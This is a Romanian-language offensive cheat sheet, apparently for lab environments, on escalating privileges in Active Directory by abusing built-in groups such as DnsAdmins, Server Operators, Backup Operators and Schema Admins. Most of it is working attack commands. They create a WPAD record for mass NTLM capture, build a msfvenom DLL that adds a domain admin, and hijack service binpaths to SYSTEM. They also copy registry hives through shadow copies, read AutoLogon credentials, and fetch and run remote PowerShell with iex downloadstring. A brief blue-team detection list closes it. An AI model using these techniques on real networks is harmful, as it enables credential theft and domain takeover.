🔵 DnsAdmins
Permisiuni default: Read, Write, Create All Child objects, Delete Child objects pe obiectele DNS.
Capcana clasică: membrii DnsAdmins NU pot restarta serviciul DNS (nici local, nici remote) — verifică:
(Get-ServiceAcl dns).Access
De aceea tehnica cu plugin DLL crapă dns.exe și e utilă doar ca persistență (aștepți reboot).
RCE — WPAD record (metoda superioară, fără restart)
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc.htb.local
Add-DnsServerResourceRecordA -Name wpad -ZoneName htb.local -ComputerName dc.htb.local -IPv4Address 10.0.0.7
# Listener: Responder / ntlmrelayx --wpad → captură NTLM în masă
Dezactivează GlobalQueryBlockList (blochează implicit
WPAD/isatap) → creează wpad.<domeniu> → toate
stațiile cu WPAD default trimit proxy discovery prin tine =
exposure masiv de credențiale. Detalii + cleanup:
cheatsheet dnsadmins-abuse.
Persistență — plugin DLL (crapă serviciul, supraviețuiește la reboot)
msfvenom -p windows/x64/exec cmd='net group "domain admins" cube$ /add /domain' -f dll > dns.dll
dnscmd.exe dc.htb.local /config /serverlevelplugindll \\10.0.0.7\tmp\dns.dll
⚠️ Path-ul trebuie absolut/UNC (relativ → ignorat
silențios). Necesită restart DNS + cont cu
ChangeConfig.
🟠 Server Operators
Poate: crea/șterge shares, porni/opri servicii, backup/restore fișiere, format disk.
LPE — citire fișiere sensibile (SeBackupPrivilege)
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege C:\users\cube0x0\desktop\passwords.txt C:\windows\temp\pass -Overwrite
Tool: giuliano108/SeBackupPrivilege
LPE → SYSTEM — modificare serviciu
Server Operators are drepturi de scriere pe ~65 servicii standard. Găsește unul care rulează ca LocalSystem, apoi deturnează-i binpath:
# 1. enumerare servicii pe care Server Operators are drepturi
$services=(get-service).name | foreach {(Get-ServiceAcl $_) | where {$_.access.IdentityReference -match 'Server Operators'}}
# 2. care dintre ele rulează ca SYSTEM
(gci HKLM:\SYSTEM\ControlSet001\Services | Get-ItemProperty | where {$_.ObjectName -match 'LocalSystem' -and $_.pschildname -in $services.name}).PSChildName
# 3. deturnează binpath-ul unui serviciu ales (ex. VSS) să-ți execute comanda
sc.exe config VSS binpath="C:\Windows\System32\cmd.exe /c net group 'Domain Admins' cube$ /add /domain" type="share" group="" depend=""
sc.exe stop VSS
sc.exe start VSS
Contul de mașină se creează cu Powermad:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1')
New-MachineAccount -MachineAccount cube -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Domain htb.local -DomainController dc.htb.local
RCE — search SMB shares
dir \\dc.htb.local\c$
🟡 Backup Operators
Poate: backup/restore TOATE fișierele, inclusiv creare shadow copies.
LPE → ntds.dit / registry hives (shadow volume)
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
echo @"
set context persistent nowriters
add volume c: alias temp
create
expose %temp% z:
"@ | out-file C:\windows\temp\cmd -encoding ascii
diskshadow.exe /s C:\windows\temp\cmd
Copy-FileSeBackupPrivilege z:\windows\system32\config\SECURITY C:\SECURITY.bak -Overwrite
⚠️ Litere de volum lowercase (c:) —
uppercase face diskshadow să printeze HELP. Pentru ntds.dit folosește
robocopy /b (semantică de backup) — vezi skill-ul
ad-dc-sebackup-privesc.
RCE — citire credențiale din HKLM
$reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine','dc.htb.local',[Microsoft.Win32.RegistryView]::Registry64)
$winlogon = $reg.OpenSubKey('SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon')
$winlogon.GetValueNames() | foreach {"$_ : $(($winlogon).GetValue($_))"} # AutoLogon creds!
🔴 Account Operators
Poate: modifica membership și reseta parole, cu excepția grupului Administrators, Server Operators, Account Operators, Backup Operators, Print Operators.
RCE — adaugă un cont controlat la un grup privilegiat (ex. DnsAdmins)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1')
New-MachineAccount -MachineAccount cube -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Domain htb.local -DomainController dc.htb.local
Add-ADGroupMember 'dns admins' -Members cube$ -server dc.htb.local
→ apoi folosești tehnica grupului respectiv (DnsAdmins → WPAD/DLL). Lanț clasic HTB (ex. box Forest: Account Operators → Exchange Windows Permissions).
🟣 Remote Management Users
Poate: management remote via WinRM/PSRemote (low-priv, dar shell remote).
RCE — sesiune WinRM + enumerare endpoint-uri
Get-PSSessionConfiguration | where {$_.Permission -match 'Remote Management Users'}
# → microsoft.powershell, microsoft.powershell.workflow, microsoft.powershell32
New-PSSession -ComputerName dc.htb.local # microsoft.powershell e endpoint-ul default
# Din Linux: evil-winrm -i <DC> -u <user> -p <pass>
🟢 Event Log Readers
Poate: citi event logs de pe computerele locale.
LPE — credențiale stocate în loguri
Caută Event IDs: 4103 (Script Block Logging), 4104 (PowerShell module logging), 4688 (Process Creation).
wevtutil.exe epl security C:\security.evtx "/q:*[System [(EventID=4688)]]"
wevtutil.exe epl Microsoft-Windows-PowerShell/Operational C:\win-ps.evtx "/q:*[System [(EventID=4103 or EventID=4104)]]"
wevtutil.exe epl "Windows PowerShell" C:\ps.evtx "/q:*[System [(EventID=4103 or EventID=4104)]]"
# extrage direct command-line-urile
Get-WinEvent -Path .\security.evtx | foreach {if($_.Properties[8].value){write-output $_.Properties[8].value}}
💡 Credențialele apar în command-line-uri (scripturi cu parole,
net use, instalări cu creds).
🔵 Schema Admins
Poate: modifica structura schemei AD. Nu dă control direct pe obiecte existente — doar pe cele create DUPĂ modificare.
RCE — defaultSecurityDescriptor pe obiecte noi
Set-ADObject -Identity "CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=htb,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-...-7112)'} -Verbose -server dc.htb.local
# Odată ce un GPO nou e creat → adaugă startup script prin SharpGPOAbuse
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount Sven --DomainController dc.htb.local --domain htb.local --GPOName "new_dcGPO" --force
Pentru grupuri noi:
Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=htb,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)...'} -Verbose -server dc.htb.local
# creează grupul + adaugă cont controlat
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1')
New-MachineAccount -MachineAccount cube -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Domain htb.local -DomainController dc.htb.local
Add-ADGroupMember new_admingroup -Members cube$ -Server dc.htb.local
⚪ Group Policy Creator Owners
Poate: crea GPO-uri, dar nu le poate linka la OU-uri/domeniu și nu poate modifica GPO-uri existente. Creatorul primește drepturi de modificare doar pe GPO-ul creat.
→ Abuzul practic necesită un link (de obicei prin alt vector) sau
WriteDacl pe un OU. Fără link, GPO-ul creat nu se
aplică.
⚫ Print Operators
Poate: încărca drivere de kernel → aduci propria vulnerabilitate (BYOVD — Bring Your Own Vulnerable Driver) → escaladare la kernel/SYSTEM.
Exemple de drivere vulnerabile: capcom.sys, dbutil_2_3.sys, RTCore64.sys (exploatare cu KDU / EDRSandblast). ⚠️ Necesită cercetare suplimentară pe versiunea de Windows țintă; driverul trebuie semnat.
🧠 Note operaționale
- Contul de mașină (
cube$) e cheia multor lanțuri: îl creezi cu Powermad, apoi îl adaugi în grupuri privilegiate. Parola default e suficientă (nu expiră imediat). - Ordinea de la BloodHound: dacă binomul
user → grup built-inapare în „Shortest Path to Domain Admins", caută grupul în tabelul de sus și aplică tehnica. - WinRM ca pivot: netexec winrm / evil-winrm pentru
sesiuni; shell-uri diferite (cmd vs PowerShell) → verifică marker-ul
(shell type: …). - Cleanup după fiecare tehnică: șterge înregistrarea
WPAD, restaurează
binpath-ul serviciului, șterge contul de mașină (Remove-ADComputer cube$), reseteazăGlobalQueryBlockList. - Detecție (blue team): monitorizează modificările de
binpathpe servicii de sistem,ServerLevelPluginDll,GlobalQueryBlockList, creările de conturi de mașină, adăugările în grupuri privilegiate (Event 4728/4732/4756),diskshadow/wevtutildin conturi non-admin.
Resurse
- cube0x0 — Poc'ing Beyond Domain Admin
- adsecurity.org — Beyond Domain Admin (Sean Metcalf)
- Microsoft — Default group permissions reference
- Powermad (Kevin Robertson) — conturi de mașină
- SeBackupPrivilege (giuliano108) — copy cu privilegii de backup
- gist cube0x0 — Get-ServiceAcl — enumerare ACL pe servicii